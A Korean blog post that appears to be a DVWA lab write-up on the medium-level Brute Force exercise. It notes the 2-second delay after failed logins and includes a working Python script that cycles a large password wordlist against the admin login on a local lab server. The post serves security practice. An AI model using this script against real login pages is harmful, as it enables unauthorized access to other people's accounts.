본문 바로가기

프로젝트/DVWA 실습

DVWA 실습 #2-2 - Brute Force(medium)

2021/01/01 - [프로젝트/DVWA 실습] - DVWA 실습 #2 - Brute Force

 

DVWA 실습 #2 - Brute Force

DVWA의 첫 번째 실습 대상인 Brute Force다. 브루트 포스? 브루트 포스는 무작위로 비밀번호를 조합하거나 사전 파일에 정의된 비밀번호를 하나하나 대입해보며 공격하는 방식(또는 두 가지를 합한 h

haruhiism.tistory.com

문제 해결 방법

Medium 단계부터는 SQL Injection이 불가능하고 브루트 포스에 대한 방지책으로 로그인이 실패했을 때 2초동안 대기하게 된다. 기존에 1초도 안되서 빠른 응답을 받을 수 있었던 것과 달리 매 시도마다 올바른 비밀번호 입력을 제외하고는 무조건 2초가 걸리지만 반복적으로 들어오는 요청에 대한 대응이 없기 때문에 결국엔 공격에 성공하게 된다.

Python requests 모듈

지난번에 작성한 코드를 조금 수정하여 medium 레벨에서 브루트 포스 공격을 수행했다. admin 계정의 비밀번호인 'password'가 리스트 상위에 있었기 때문에 몇 초 걸리지 않았지만 비밀번호가 좀 더 복잡하거나 리스트의 아래쪽에 있었다면 몇 분이 걸릴지 몇 시간이 걸릴지 모르는 만큼 브루트 포스 공격의 한계를 볼 수 있는 실습이었다.

import requests

URL="http://192.168.56.103/dvwa/vulnerabilities/brute/"
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE',
           'security': 'medium'}

params = {'username':'',
          'password':'',
          'Login':'Login'}

with open('10-million-password-list-top-1000000.txt') as f:
    passwords = f.readlines()

passwords = [x.strip() for x in passwords]

with open('bf-output.txt', 'w') as f:
    for password in passwords:    
        params['username'] = 'admin'
        params['password'] = password

        print("Trying {}...".format(password))
        res = requests.get(URL, params=params, cookies=cookies)
        if "Username and/or password incorrect." not in res.text:
            print("Password found!: {}".format(password))
            break

정말로 sleep(2) 함수에 의해 2초의 시간이 걸리는지 확인해보기 위해 time 모듈을 사용해본 결과 low와 medium 난이도의 시간차를 확인할 수 있었다.

Low 레벨에서는 둘 다 0.1초도 안되는 빠른 시간의 응답을 보였으나 Medium 레벨에서는 틀린 로그인 시도의 경우 2초가 추가된 것을 볼 수 있었다.